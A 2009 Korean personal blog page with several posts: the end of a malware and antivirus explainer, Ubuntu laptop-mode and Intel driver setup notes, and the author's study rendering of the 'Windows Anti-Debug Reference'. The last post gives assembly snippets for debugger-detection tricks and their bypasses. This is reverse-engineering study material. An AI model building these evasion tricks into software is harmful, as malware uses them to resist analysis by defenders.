http://2proo.net /entry/USB-%EC%97%B0%EA%B2%B0%EC%8B%9C-%EC%9E%90%EB%8F%99%EC%8B%A4%ED%96 %89-%EC%A4%91%EC%A7%80%ED%95%98%EA%B8%B0에 나와 있는 국정원에서 배포하는 USB 자동 실행 차단 프로그램을 설치하여 자동실행을 막을 수 있으며, http://comlog.kr/79에 나온 것처럼 윈도우즈 기본 정책을 바꿔 USB의 실행을 막을 수 있습니다.


꼼꼼하게 읽으셨다면 악성코드가 무엇인지 알게 되었을 것이라 생각됩니다. 위에서 설명한 종류 말고도 더 다양한 종류의 악성코드들이 존재합니다. 대표적이고 유명한 것들을 설명한 것이니 제한적으로 생각하지 마시고, 또한 최근에는 위처럼 분류하기 어려울 정도로 복합적인 기능을 갖는 경우도 많이 존재합니다.

최 근 동향으로는 게임 비밀번호 스틸(훔치는) 바이러스가 많이 퍼지고 있습니다. 특정 게임을 타겟으로 만들어져서, 감염시 특정 게임 로그인을 하게 되면 아이디와 비밀번호가 이메일이나 다른 방법으로 해커(크래커)에게 전달이 되게 됩니다. 국내보단 중국쪽에서 국내 유저들을 타겟으로 많이 만들어지는 것 같습니다.
또 다른 것은 다운로더라는 것이 있습니다. 감염시 인터넷으로 특정 악성프로그램을 다운로드하여 실행시키게 됩니다. 다운로드한 프로그램은 성인광고창을 일정 시간단위로 띄우거나, DDoS(분산서비스공격) 공격에 좀비PC의 역할을 하는 프로그램이 대표적입니다. 이럴 경우 자기도 모르게 특정 서버를 공격하게 되므로, 인터넷이 느려질 수 있습니다.


추가적으로 백신에 대해서 설명해보겠습니다.

백 신 프로그램에 대표적으로 국산은 우리의 바이러스 체이서 ^^, 그리고 V3, 알약, 엔프로텍트, PC그린, 바이로봇 등이 존재합니다. 해외 제품으로는 노턴안티바이러스, Avast, 카스퍼스키, Avira, NOD32, 비트디펜더, 맥아피, AntiVir 등이 있습니다. 대체적으로 아직까지는 국산 제품보다 해외 제품이 바이러스를 더 많이 진단하는 편이라, 해외 백신을 추천하는 사람들이 많습니다. 저는 그러한 내용에 반대를 하는 입장입니다. 바이러스란 각 나라나 문화에 따라 유행하는 종류가 다릅니다. 국내에서는 최근에 네이트온 바이러스라고 하여 네이트온을 통해 전파되는 바이러스가 유행하기도 하였고, 2090 바이러스라는 것도 유행하였습니다. 그러한 바이러스가 국내에서 유행할 때 해외에서는 conficker 바이러스나 오바마와 관련된 내용이 들어가 있는 바이러스, 트위터 서비스를 통해 감염되는 바이러스 등이 널리 퍼졌었습니다.

이럴 경우 해외 백신의 경우 그 지역에 유행하는 바이러스에 대하여 집중적으로 치료를 할 수 있게 서비스 할 것이고, 국내에서는 국내 환경에 맞게끔 유행하는 바이러스를 치료할 수 있게 서비스 할 것입니다. 만약 해외백신을 사용한다면 이러한 내용에 있어서 국산에서 유행하는 바이러스 치료에 대한 서비스는 국내 백신보다 업데이트가 더딜수 밖에 없습니다. 해외라면 반대의 상황이 되겠지요.

이 렇듯 치료하는 부분이 차이가 발생할 수 있으므로 국내 환경에서는 국내 백신이 오히려 더 잘 맞을 것이라고 저는 개인적으로 판단합니다.(모든 분의 의견은 아니므로 개인적이라고 표현하겠습니다.) 그래서 주변에 컴퓨터에 대하여 잘 모시는 분들이 백신을 무엇을 써야 하느냐고 묻는다면 거리낌 없이 국내 백신을 추천합니다.

물론 사용자분께서 해외 사이트를 많이 접속하고, 국내보단 해외 환경이 중점이라면 그 지역에 대한 서비스가 빠르게 업데이트되는 백신을 사용하는 것이 좋습니다.

그 렇다고 백신만 설치해 놓는다고 컴퓨터가 항상 안전한 것은 아닙니다. 백신은 패턴 위주의 바이러스 검사를 주로 행합니다. 그러므로 새로운 바이러스가 나올 경우 새로운 바이러스에 대한 패턴을 확보하지 못하여 업데이트를 하지 못하였다면, 그 백신은 그 바이러스에 무방비 상태가 되어버립니다. 그래서 백신의 경우 업데이트가 중요한 것입니다. 새로운 바이러스가 나오면 빠르게 업데이트 되어야 그 바이러스에 대하여 대처할 수 있게 되기 때문이죠. 백신의 이러한 패턴 위주의 바이러스 검사는 패턴에 없는 바이러스를 진단하지 못한다는 태생적인 한계 갖고 있습니다. 그러므로 백신을 설치해 놓았다고 절대적으로 안심하지는 마시고, 항상 업데이트하여 최신의 상태를 유지하여야 합니다. 물론 패턴 위주의 바이러스 검사 외에도, 백신에 따라 휴리스틱 기능이 존재하기도 합니다. 휴리스틱 기능을 통해 패턴이 업데이트되지 않아도 바이러스를 잡을 수 있는 경우도 있지만, 오히려 오진을 하는 경우도 많은 편입니다. 그러므로 이부분에 대하여서는 더 자세히 언급하지 않겠습니다.


또한 방화벽 프로그램을 설치하면 무조건 안전하다는 잘못된 상식을 갖고 있는 경우도 있습니다. 방화벽이 바이러스를 막지는 못합니다. 방화벽은 네트워크 패킷이 들어오고 나가고에 대하여 규칙에 따라 승인하고 또는 거부합니다. 일반 사용자의 경우 방화벽을 설치하여도 규칙에 대하여 잘 모르기 때문에 무용지물이나 마찬가지라고 생각이 됩니다. 또한 윈도우즈 자체의 윈도우즈 방화벽의 효능을 무시하는 경우를 많이 보아 왔습니다. 하지만 윈도우즈 방화벽만으로도 충분히 개인 사용자 입장에서는 그 역할을 톡톡치 합니다. 그러므로 윈도우즈 방화벽 사용을 추천합니다.

윈도우즈 방화벽을 사용할 경우 특정 프로그램이 네트워크 패킷을 외부로 보내기 이전에 그 것을 허용할 것인지 말지 선택할 수 있는 팝업창을 띄웁니다. 이 경우 정상적인 프로그램의 경우도 모두 해당되기 때문에 번거로울 수 있지만, 정상적인 프로그램의 경우 한번 승인해 놓으면 그 이후에는 선택하여도 되지 않으므로 규칙이 생성된 경우에 해당하여 이후에는 지속적으로 허용이 되어집니다. 만일 악성코드 프로그램이 외부로 데이터를 보낼려고 할 경우에도 방화벽은 허용 여부를 사용자에게 묻게 됩니다. 이 때 사용자는 팝업창을 통해 사용자가 원하는 정상적인 프로그램이 아닐 경우 거부를 하여 악성코드가 외부와 접속하는 것을 막을 수 있습니다. 물론 이후에 제어판의 방화벽 설정에서 이전에 선택한 내용에 대하여 변경이 가능합니다.

이렇게 보듯 방화벽은 사용자의 선택에 따라 역할을 극명하게 다르게 나타냅니다. 사용자의 판단이 제일 중요하겠지요. ^^


이렇게 악성코드에 대하여 알아 보았습니다. 원래에는 제가 활동하는 모 카페에 적었던 글이지만, 제 블로그에도 적어 더 많은 분들에게 도움이 될 수 있었으면 합니다.
작성 당시의 생각보다 장문의 글이 되면서, 안그래도 없는 글 재주로 인하여 말이 매끄럽지 못한 점 양해 바랍니다.

이올린에 북마크하기(0) 이올린에 추천하기(0)
2009/06/26 03:18 2009/06/26 03:18

ubuntu 9.04에 laptop mode 활성화(Laptop Mode Tools)

Posted at 2009/06/13 01:43 // in Linux // by 엔신
이번에도 떠돌이님의 포스팅을 통해 알게 되었고, 좀 더 찾아보았고, 적용 후 체감상으로는 아직 잘 모르겠다.

Laptop Mode Tools는 ubuntu에 기본적으로 포함되어 있는 프로그램이다. 그러나 disable 되어 있다.
Debian, Ubuntu, Fedora, Gento, Slackware, Mandriva, ArchLinux, CRUX를 기본적으로 지원하며, 그 외에는 source 컴파일을 하여 사용하여야 한다.


1. 활성화 시키기
sudo gedit /etc/default/acpi-support
ENABLE_LAPTOP_MODE=true

2. 세부 설정
sudo gedit /etc/laptop-mode/laptop-mode.conf

laptop mode tools에서는 3가지 옵션에 대해서만 언급하고 있다.
ENABLE_LAPTOP_MODE_ON_AC
ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED
DISABLE_LAPTOP_MODE_ON_CRITICAL_BATTERY_LEVEL

다른 것들에 비해서는 쓸모가 있으므로 그런 것 같다.

그러나 그 외에도 쓸모가 있는 옵션으로 ASSUME_SCSI_IS_SATA가 있었다.
본인의 경우 SATA 하드인데 해당 옵션에서는 드라이브가 sd로 시작할 경우 0으로 설정하라고 나와 있다. 하지만 default는 1로 설정이라 변경해주었다.


그 외의 몇 가지 설정에 대하여 설명을 첨부한다.
# start/stop(부팅종료를 의미하는 것으로 예상됨) 시 많은 정보를 보고 싶을 때에는 1로 설정.
VERBOSE_OUTPUT=0

# 배터리 모드일 때 laptop_mode 활성화 여부
ENABLE_LAPTOP_MODE_ON_BATTERY=1

# AC 전원 모드일 때 laptop_mode 활성화 여부
ENABLE_LAPTOP_MODE_ON_AC=0

# 노트북 뚜껑이 닫혀 있고 심지어 AC 전원을 사용하고 있을 때에도 노트북 모드 사용 여부
ENABLE_LAPTOP_MODE_WHEN_LID_CLOSED=0

# 데이터 손실 위험 경고를 나타낼 배터리 최소 양(% 단위)
MINIMUM_BATTERY_CHARGE_PERCENT=3

# 위와 이어져서, 배터리 경고 최소량에 도달했을 때 데이터 손실 위험 경고 활성화 여부
DISABLE_LAPTOP_MODE_ON_CRITICAL_BATTERY_LEVEL=1

# 어떠한 하드 드라이브에 대해 laptop 모드를 적용할 것인지 설정
# HD="/dev/hda /dev/hdb" 와 같은 형태로 적용 가능. 아래는 default로 다 적용 대상이 됨
HD="/dev/[hs]d[abcdefgh]"

# 마운트된 파티션에 대한 laptop 모드 적용 여부
PARTITIONS="auto /dev/mapper/*"
f
# hdparm를 사용할 것인지(set 1) sdparm를 사용할 것인지 여부(set 0)
# 하드디스크가 E-IDE이거나 SATA 1세대라서 /dev/hd 이면 set 1,
# /dev/sd 라면 set 0으로 sdparm을 사용한다.
# 속도 측정과 하드 속도 향상과 관련이 있는 유틸.
# 본인은 sd로 시작하는 sata하드디스크 이므로 0으로 설정함. default는 1
ASSUME_SCSI_IS_SATA=0

# readahead 툴을 사용 여부
# 특정한 파일을 필요하기 전에 미리 메모리에 로드하여 속도 향샹을 하기 위한 툴
CONTROL_READAHEAD=1

# KB 단위로 mp3/ogg 재생 시 3메가 바이트까지 미리 로드하여 사용
# 너무 크게 잡아주지는 말 것
LM_READAHEAD=3072
NOLM_READAHEAD=128

# noatime 옵션을 추가하여 laptop 모드를 사용 여부
# noatime은 no access time. mount된 드라이브가 이 옵션이 적용된 경우
# 엑세스 타임을 기록하지 않으므로 약간의 속도 향상을 할 수 있으나
# 개인적으로 잘 모를 경우 권장하지는 않음
CONTROL_NOATIME=0

# 하드 드라이브의 쓰기 캐시 설정 여부
CONTROL_HD_WRITECACHE=0

# 쓰기 캐쉬 설정 상세 설정
NOLM_AC_HD_WRITECACHE=1
NOLM_BATT_HD_WRITECACHE=0
LM_HD_WRITECACHE=0

이올린에 북마크하기
2009/06/13 01:43 2009/06/13 01:43

ubuntu 9.04에 Intel Graphics driver 2.7.0 설치하기

Posted at 2009/06/11 10:17 // in Linux // by 엔신
우분투 9.04를 설치하고 나서 대체적으로 만족스러웠지만, 창 전환시에도 그래픽이 알게 모르게 끊기는 현상이 있었다. 그래서 드라이버를 설치하여 보았더니 체감상으로는 창전환시에 상당히 부드러워졌다.

sudo gedit /etc/apt/sources.list
로 파일을 gedit로 연 후 가장 하단 부분에 아래 내용을 삽입하고 저장한다.

deb http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu jaunty main
deb-src http://ppa.launchpad.net/ubuntu-x-swat/x-updates/ubuntu jaunty main

터미널 창에서 키를 추가하고, 패키지 리스트를 업데이트 한 다음, xserver-xorg-video-intel를 설치하고 재부팅하면 끝이다.
sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com AF1CDFA9
sudo apt-get update && sudo apt-get install xserver-xorg-video-intel

아래 명령은 장치중 VGA 정보를 확인하는 것이다.
lspci -nn|grep VGA

그리고 나서 떠돌이님의 uxa 기능을 켜는 글을 통해 uxa를 켜주면 된다.
gksu gedit /etc/X11/xorg.conf

나오는 텍스트 창에서, 아래 부분을 찾아서 옵션 두줄을 추가.

Section "Device"
    Identifier "Configured Video Device"
    Option "AccelMethod" "uxa"
    Option "Tiling" "false"
EndSection

이올린에 북마크하기
2009/06/11 10:17 2009/06/11 10:17

Windows Anti-Debug Reference

Posted at 2009/06/10 03:15 // in RCE // by 엔신
원본 영문 레퍼런스 파일

아래 내용의 pdf 파일


Windows Anti-Debug Reference

Anti-debugging and anti-tracing techniques

시작 전에 먼저 말씀해드립니다. 영문 레퍼런스의 번역본이 아닙니다. 제가 보면서 공부하기 위해 한글로 이해하는 대로 적기도 하고, 부족한 부분은 추가로 설명을 달았습니다. 정석으로 보고 싶으신 분은 영어로된 원본을 보시길 추천합니다.

아래부터는 편의상 말은 짧게 하겠습니다.


목차
Exploiting memory discrepancies
    1 kernel32!IsDebuggerPresent
    2 PEB!IsDebugged
    3 PEB!NtGlobalFlags
    4 Heap flags
    5 Vista anti-debug (no name)

Exploiting system discrepancies
    1 NtQueryInformationProcess
    2 kernel32!CheckRemoteDebuggerPresent
    3 UnhandledExceptionFilter
    4 NtSetInformationThread
    5 kernel32!CloseHandle and NtClose
    6 Self-debugging
    7 Kernel-mode timers
    8 User-mode timers
    9 kernel32!OutputDebugStringA
    10 Ctrl-C
    
CPU anti-debug
    1 Rogue Int3
    2 "Ice" Breakpoint
    3 Interrupt 2Dh
    4 Timestamp counters
    5 Popf and the trap flag
    6 Stack Segment register
    7 Debug registers manipulation
    8 Context modification
    
Uncategorized anti-debug
    1 TLS-callback
    2 CC scanning
    3 EntryPoint RVA set to 0

Data reference
    CONTEXT structure for IA32 processors
    Process Environment Block structure (from The Wine Project)
    Thread Environment Block structure (from The Wine Project)
    NtGlobalFlags


시작에 앞서
윈도우에는 PEB와 TEB라 불리는 특수 구조체가 프로세스별로 존재.PEB는 유저 모드 프로세스당 하나, TEB는 유저 모드 스레드당 하나씩 존재.



Exploiting memory discrepancies
아래는 메모리와 관련된 Anti-Debug 기법

1 kernel32!IsDebuggerPresent

    Example:
    call IsDebuggerPresent
    test eax, eax
    jne @DebuggerDetected
    ...
위와 같은 형태로 사용이 되는 가장 기본적인 예제입니다. 이미 다들 알고 있을 것으로 예상이 됩니다. IsDebuggerPresent 함수는 디버그 중이면 1을 리턴. 그렇지 않다면 0을 리턴. IsDebuggerPresent 함수는 PEB!BeingDebugged에서 byte 크기인 flag의 값을 read한다.    (PEB 구조체 참조. 영문서에도 있고, 하단을 참조하여도 됨)

IsDebuggerPresent 함수 구조
    Example:
    mov eax, large fs:18h        ; TEB 구조체 위치
    mov eax, [eax+30h]        ; TEB를 기준으로 PEB 구조체 위치
    movzx eax, byte ptr [eax+2]        ; PEB!BeingDebugged flag
    retn


2 PEB!IsDebugged

    Example:
    mov eax, fs:[30h]        // PEB 구조체 위치
    mov eax, byte [eax+2]
    test eax, eax
    jne @DebuggerDetected
    ...
딱 보면 kernel32!IsDebuggerPresent와 같은 것을 알 수 있는데 함수 형태로 호출하는 것이 하는게 아니라 직접 PEB에 접근하는 것을 차이점으로 둘 수 있다.


3 PEB!NtGlobalFlags

Example:
mov eax, fs:[30h]        ; PEB 구조체 위치
mov eax, [eax+68h]      ; PEB+068 uint32 NtGlobalFlag 위치(dword)
and eax, 0x70
test eax, eax
jne @DebuggerDetected
...
NtGlobalFlag는 PEB 구조체 안에 존재하는 한 항목이다.(PEB 구조체 참조)  디버깅 중에는 0x70, 아니라면 0x0의 값이 세팅되어진다. 디버깅과 관련있는 세팅에 사용되는 상수는 아래의 것이 존재한다.

    FLG_HEAP_ENABLE_TAIL_CHECK (0x10) // 해제된 heap 메모리 영역의 buffer overruns을 검사하며, allocation된 끝에 짧은 패턴을 삽입한다.
    FLG_HEAP_ENABLE_FREE_CHECK (0x20) // 해제된 heap 메모리 영역의 유효성 검사
    FLG_HEAP_VALIDATE_PARAMETERS (0x40) // heap API가 호출되어질 때마다 몇가지 측면을 검사(파라미터)

다 합치면 0x70. 더 자세히 또는 그 외의 사용되는 상수에 대해 알고자 한다면 아래 링크를 참조.
http://technet.microsoft.com/en-us/library/cc779664.aspx


4 Heap flags

    Example:
    mov eax, fs:[30h]        ; PEB 구조체 위치
    mov eax, [eax+18h]        ; process heap
    mov eax, [eax+10h]        ; heap flags
    test eax, eax
    jne @DebuggerDetected
    ...
위의 NtGlobalFlag의 플래그값이 활성화되면서 Heap Flags도 활성화 되어 진다.
먼저 헷갈리지 않게 여기서 설명할 heap flags 항목은 2가지가 존재한다.
Flags와 ForceFlags로 각각 모두 4byte의 Uint4B형이다.

PEB.ProcessHeap.ForceFlags
PEB 구조체의 0x18에 위치하는 ProcessHeap 핸들로부터 0x10에 위치한 ForceFlags 값에 대한 내용이다. 프로세스의 첫 번째 heap이 생성 될 때 0x0으로 설정한다. 하지만 디버깅중이라면 0x40000060으로 설정이 된다.(Flags & 0x6001007D)


PEB.ProcessHeap.Flags
Flags 역시 ForceFlags와 같이 ProcessHeap 핸들의 0x0c 위치에 존재한다. 디버깅중이지 않는다면 0x2(HEAP_GROWABLE)로 설정이 되고, 디버깅중이라면 0x50000062으로 설정된다.
(NtGlobalFlags에 따라)
– HEAP_TAIL_CHECKING_ENABLED (0x20)
– HEAP_FREE_CHECKING_ENABLED (0x40)

우회(bypass)하는 방법
첫 번째-
    디버그하지 않은 상태로 프로세스를 생성한다.
    디버거를 attach시킨다.
두 번째-
    레지스트리 추가.
    "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" Create a subkey (not value)


5 Vista anti-debug (no name)

    Example:
    call GetVersion
    cmp al, 6
    jne @NotVista
    push offset _seh
    push dword fs:[0]
    mov fs:[0], esp
    mov eax, fs:[18h] ; teb
    add eax, 0BFCh
    mov ebx, [eax] ; pointer to a unicode string
    test ebx, ebx ; (ntdll.dll, gdi32.dll,...)
    je @DebuggerNotFound
    sub ebx, eax ; the unicode string follows the
    sub ebx, 4 ; pointer
    jne @DebuggerNotFound
    ;debugger detected if it reaches this point
    ;...
이 방법은 아직 명명되지 않았으나, 가칭 vista anti-debug라고 불린다.(Vista 32bit, SP0, English ver에서 테스트되어짐)
TEB+0xBFC 위치를 따라가게 되는데, 그 곳이 가리키고 있는 주소를 참조하는데 참조하는 곳에는 unicode 문자열로 system dll이 존재한다.(ntdll.dll, gdi32.dll,...)
만일 디버깅중이 아니라면 NULL 포인터가 있게 되고, 그러므로 문자열은 존재하지 않는다.


Exploiting system discrepancies
시스템(함수, syscall)과 관련된 안티 디버깅 기법이다.

1 NtQueryInformationProcess

사용되는 함수 타입 설명
NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess(
    IN HANDLE ProcessHandle,
    IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
    OUT PVOID ProcessInformation,
    IN ULONG ProcessInformationLength,
    OUT PULONG ReturnLength
);
NtQueryInformationProcess는 ZwQueryInformationProcess를 감싸고 있는 함수이다.
매개변수 중 ProcessInformationClass는 7이 설정되는데 ProcessDebugPort 상수를 뜻하고,  ProcessInformation에 값을 저장받게 되는데 -1(0xFFFFFFFF)인 경우 프로세스가 디버깅 중인 상태이다. 그렇지 않을 때에는 0이 설정된다.
이 것은 매우 강력한 안티디버그이다. 그러나 프로그램을 추적하는 경우(디버깅), syscall returns할 때 ProcessInformation을 수정하여 교묘히 회피할 수 있다.(-1을 0으로 설정)
다른 방법은 ZwQueryInformationProcess를 hook하는 방법이 있다.
NtQueryInformationProcess를 사용하는 안티 디버깅 기법의 예로 CheckRemoteDebuggerPresent, UnhandledExceptionFilter가 있다.

    Example:
    push 0
    push 4
    push offset isdebugged
    push 7 ;ProcessDebugPort
    push -1
    call NtQueryInformationProcess
    test eax, eax
    jne @ExitError
위에서 다 설명하였으니 어셈 코드를 직접 보세요.


2 kernel32!CheckRemoteDebuggerPresent

    Example:
    push offset isdebugged
    push -1
    call CheckRemoteDebuggerPresent
    test eax, eax
    jne @DebuggerDetected
    ...
위에서 잠깐 말이 나온 CheckRemoteDebuggerPresent 함수에 대한 것이다.
매개변수로 process handle과 DWORD pointer가 사용된다. DWORD값으로 1이 설정된 경우 프로세스는 디버그 상태이다.
내부적 작동은 위에서 언급한 NtQueryInformationProcess으로 이루어져있다. 그러므로 우회하는 방법은 동일하게 ProcessInformation를 0으로 수정하면 된다.


3 UnhandledExceptionFilter

예외가 발생하면 Windows XP SP2, 2003, Vista OS에서 예외를 처리하는 일반적인 방법이다.

만약 프로세스 당 Vectored Exception Handler를 통과 처리한 경우(???)
처리되지 않은 예외가 스레드당 최상위 SEH Handler로 통과 처리 하고, 포인터가 FS:[0] 에서 그 예외가 생성되는 스레드인 경우.
만약 어떤 경우를 제외하고 이전 핸들러에 의해 처리되지 않았을 때 마지막 SEH Handler(set by the system)는 kernel32!UnhandledExceptionFilter를 호출한다.
 이 함수는 프로세스가 디버깅중이거나 디버깅 중이 아닌 여부에 따라 무엇을 해야 하는지 결정하게 된다.
만약 디버깅 중이라면, 프로그램은 종료 될 것이다(terminated)
(Advenced Windows Debugging 책에도 Exception dispatching logic이라고 하여 나온 순서도에서도 나온다. 정상적인 경우 디버깅중에는 절대 UnhandledExceptionFilter에 접근할 수 없다. 잘 이해가 안될 것 같아서 한 줄 더 적자면, 프로그램에서 무조건 Exception을 발생하는 코드가 존재한다. 그러고 UnhandlerExceptionFilter에 실제 코드를 넣어두고 호출하게끔 하였다고 하자. 그러면 디버깅중에는 절대 UnhandledExceptionFilter에 접근할 수 없으므로 원래의 소스 코드에는 접근할 수 없게 된다. 그것을 우회하기 위해 디버깅중이 아닌 것처럼 속여 UnhandledExceptionFilter를 호출하여 원래의 코드에 도달하기 위한 방법이다.)

kernel32!CheckRemoteDebuggerPresent와 마찬가지로 UnhandledExceptionFilter도 ntdll!NtQueryInformationProcess를 사용하여 디버깅 중인지 판단하게 된다.
해결 방법은 DebugPort를 해결하는 방법과 동일하다.(타고 들어가서 NtQueryInformationProcess의 ProcessInformation를 0으로 수정하기)

어셈 코드로 보면 아래와 같다. 더 추가하자면, setunhandledExceptionFilter 함수를 호출하면 아래의 .exception_filter로 jmp하게 되고 디버깅중일테니 -1을 리턴하게 된다. 그렇지만 리턴값 있는 있는 eax는 0으로 초기화하고, 그 안에 0을 넣어주고 있다.(디버깅중이지 않은 상태의 값)

;set the exception filter
    push    .exception_filter
    call    [SetUnhandledExceptionFilter]
    mov     [.original_filter],eax
    ;throw an exception
    xor     eax,eax
    mov     dword [eax],0
    ;restore exception filter
    push    dword [.original_filter]
    call    [SetUnhandledExceptionFilter]
    
.exception_filter:
    ;EAX = ExceptionInfo.ContextRecord
    mov     eax,[esp+4]
    mov     eax,[eax+4]
    ;set return EIP upon return
    add     dword [eax+0xb8],6
    ;return EXCEPTION_CONTINUE_EXECUTION
    mov     eax,0xffffffff        ; -1을 의미하며 디버깅 중인 상태
    retn

다른 예제이다. 아마도 위 예제가 더 보기 쉬울 것 같다. 위 예제를 이해했다면 아래 예제도 이해될 것이다

    Example:
    push @not_debugged
    call SetUnhandledExceptionFilter
    xor eax, eax
    mov eax, dword [eax] ; trigger exception
    ;program terminated if debugged
    ;...
    @not_debugged:
    ;process the exception
    ;continue the execution
    ;...
추가 설명 :
SetUnhandledExceptionFilter 함수 호출한 다음 access violation을 발생시킴.
디버깅중이라면 예외가 발생하여 종료되는 쪽으로 흐를 것이고, 디버깅 중이 아니라면 계속 진행될 것이다.


4 NtSetInformationThread

ntdll!NtSetInformationThread는 ZwSetInformationThread 시스템 함수를 감싸고 있다.

아래는 함수 타입 설명이다.

NTSYSAPI NTSTATUS NTAPI NtSetInformationThread(
    IN HANDLE ThreadHandle,
    IN THREAD_INFORMATION_CLASS ThreadInformationClass,
    IN PVOID ThreadInformation,
    IN ULONG ThreadInformationLength
);
ThreadInformationClass에 0x11((ThreadHideFromDebugger 상수)이 설정된 경우 스레드는 디버거로부터 분리될 것이다.

    Example:
    push 0
    push 0
    push 11h ;ThreadHideFromDebugger
    push -2
    call NtSetInformationThread
    ;thread detached if debugged
    ;...

ZwQueryInformationProcess와 마찬가지로 이 안티디버그를 우회할려면  ZwSetInformationThread의 매개변수를 호출되기 전에 수정하여야 한다.
해결책이 안나왔는데 ThreadInformationClass를 0x11말고 0같은거 주면 될려나?...


5 kernel32!CloseHandle and NtClose

사용자는 API를 만들어 ZwClose 함수를 syscall하여 CloseHandle을 통하여 간접적으로 디버거를 감지하는데 사용할 수 있다. 프로세스가 디버깅중에 ZwClose함수가 호출되면 유효하지 않은 핸들로 STATUS_INVALID_HANDLE (0xC0000008) exception을 생성하게 될 것이다.

이 안티디버그 역시 모든 안티디버그와 마찬가지로 커널(따라서 syscall 이용)로부터 직접적으로 사용할 수 있는 정보를 의존하게 된다.

CloseHandle 안티디버그를 무시하거나 우회하는 유일한 방법은 ring3에서 syscall 데이터를 함수가 호출되기 전에 수정하거나, 또는 커널을 후킹하는 방법이 있다.

이 안티디버그는 비록 매우 강력하지만, 널리 사용되는 악성코드 프로그램에서는 잘 보이지 않는다.(이용되지 않는다?)

    Example:
    push offset @not_debugged
    push dword fs:[0]
    mov fs:[0], esp
    push 1234h        ; invalid handle(유효하지 않은 핸들)
    call CloseHandle
    ; if fall here, process is debugged
    ;...
    @not_debugged:
    ;...


6 Self-debugging

프로세스는 스스로 디버그하려고 하여 디버깅중인지 디버깅중인지 감지(detect)할 수 있다.
새 프로세스를 생성하여(인스턴스생성) kernel32!DebugActiveProcess(pid)함수를 호출하여 디버거를 부모 프로세스로 올려놓을 수 있다.

DebugActiveProcess가 호출되어 디버거가 Attach되면 Child Process(원래의 프로세스를 의미)에는 ntdll!DbgUiDebugActiveProcess가 호출되게 되고 이 것은 ZwDebugActiveProcess를 syscall하게 될 것이다.
만약 프로세스가 디버깅중이라면, syscall(ZwDebugActiveProcess)은 실패한다. toolhelp32 APIs를 참고하여 부모 프로세스의 PID를 가져오는 과정을 수행할 수 있다.
(PROCESSENTRY32 구조체의 th32ParentProcessID 필드)

요약하자면, 프로세스 스스로 디버거를 물리고, 디버거가 물려있을 경우에는 함수 호출이 실패하므로, 실패했을 경우 toolhelp32 API를 참조해서 이미 물려있는 디버거를 terminated시키게 된다.


7 Kernel-mode timers

kernel32!QueryPerformanceCounter는 효율적인 안티디버그이다. 이 API는 ntdll!NtQueryPerformanceCounter를 호출하고, 그 안에는 ZwQueryPerformanceCounter(syscall)을 감싸고 있다.
이 함수는 안티디버그에 이용할수 있는 시간 함수이다. 최소 1ms단위이며, 디버깅을 Step by Step으로 하게 되면 프로그램 가동 시간이 늦어지게 된다.
그러므로 일정 시간 이상의 시간을 리턴할 경우 디버깅중이라는 것으로 간주할 수 있게 된다. 그럴 경우 종료시키도록 하겠지.

8 User-mode timers

kernel32!GetTickCount는 시스템이 시작된 후 얼마의 시간이 경과했는지를 milliseconds 단위로 반환한다. 역시 위와 동일하게 시간 차이를 비교하여 디버깅중인지 판단한다.
흥미로운 점은 커널을 사용하여 관련된 일을 수행하지 않는다. 주소공간을 user-mode 프로세스 카운터와 매핑한다.

8GB의 user-mode 공간에 값이 반환되어진다.

d[0x7FFE0000] * d[0x7FFE0004] / (2^24)
3FFE0005FFF80000 / 16777216 = 2D92BFBA0.63D7BF9A8

이 의미를 잘 모르겠......


9 kernel32!OutputDebugStringA

이 함수는 비쥬얼스튜디오에서 코딩시 디버그 창에 문자열을 출력하기 위한 함수이다. 특정 라인이 실행되었을 경우 콘솔창에 메시지를 출력하여 확인하는 것이 아니라, 디버그 창에 문자열을 출력하게 되므로 디버깅 용도로 사용 하며, 일반 화면에서는 보이지 않게 된다.

이것은 안티디버그의 진짜 원조(시초?, 정석?)이다.ReCrypt v0.80로 된 패킹된 파일안에서 발생하였다.
이 트릭은 유효하지 않은 ASCII 문자열의 구성으로 OutputDebugStringA 함수 호출하면서 발생한다.

만약 프로그램이 디버거의 제어하에 실행되는 경우, return값은 문자열의 주소를 매개변수로 전달하게 된다. 정상적인 조건에서 반환 값은 1이어야 한다.

    Example:
    xor eax, eax
    push offset szHello
    call OutputDebugStringA
    cmp eax, 1
    jne @DebuggerDetected
    ...
    szHello db "%s%s", 0

따로 설명은 없는데 OllyDbg의 버그(?)라는 소리를 들은 것 같다.


10 Ctrl-C

콘솔 프로그램을 디버깅중 일 때, Ctrl+C 키 신호(signal)가 발생하면 EXCEPTION_CTL_C exception이 던져질 것이다.(throw), 또는 발생. 반면에 프로그램이 디버깅중이지 않다면 signal handler로 바로 호출된다.

    Example:
    push offset exhandler
    push 1
    call RtlAddVectoredExceptionHandler
    push 1
    push sighandler
    call SetConsoleCtrlHandler
    push 0
    push CTRL_C_EVENT
    call GenerateConsoleCtrlEvent
    push 10000
    call Sleep
    push 0
    call ExitProcess
    exhandler:
    ;check if EXCEPTION_CTL_C, if it is,
    ;debugger detected, should exit process
    ;...
    sighandler:
    ;continue
    ;...


CPU anti-debug
CPU와 관련된 안티디버그

1 Rogue Int3

이것은 약한 디버거를 속이기 위한 고전적인 안티디버그이다. 정상적인 코드의 중간에 INT3 Opcode가 삽입되어져 있는 것으로 구성되어 있다.
INT3가 실행되어졌을 때, 만약 프로그램이 디버깅중이지 않다면, protection(보호)와 execution(실행), continue(재개)를 exception handler가 제어를 하게 될 것이다.
INT3 명령을 사용하면 software breackpoint를 설정하게 되고, INT3 Opcode는 디버거에 삽입한 breakpoint 중 하나라고 믿게 만드는 트릭이다.
마찬가지로 적어두면 INT3는 0xCD, 0x03으로 인코딩할 수 있다.
(위 내용은 뭔가 잘못된거 같다. 아래 예제에도 0xCC이고, Opcode 찾아보니 0xCC가 INT3이고, 0xCD는 INT Ib, 0x03은 ADD Gv,Ev 명령어이다.)

    Example:
    push offset @handler
    push dword fs:[0]
    mov fs:[0], esp
    ;...
    db 0CCh
    ;if fall here, debugged
    ;...
    @handler:
    ;continue execution
    ;...


2 "Ice" Breakpoint

소위 "Ice breakpoint" 라고 불리는 인텔(80386+)의 undocumented 명령으로 opcode는 0xF1이다. 그것을 추적 프로그램(tracing program)을 탐지하는데 사용한다.

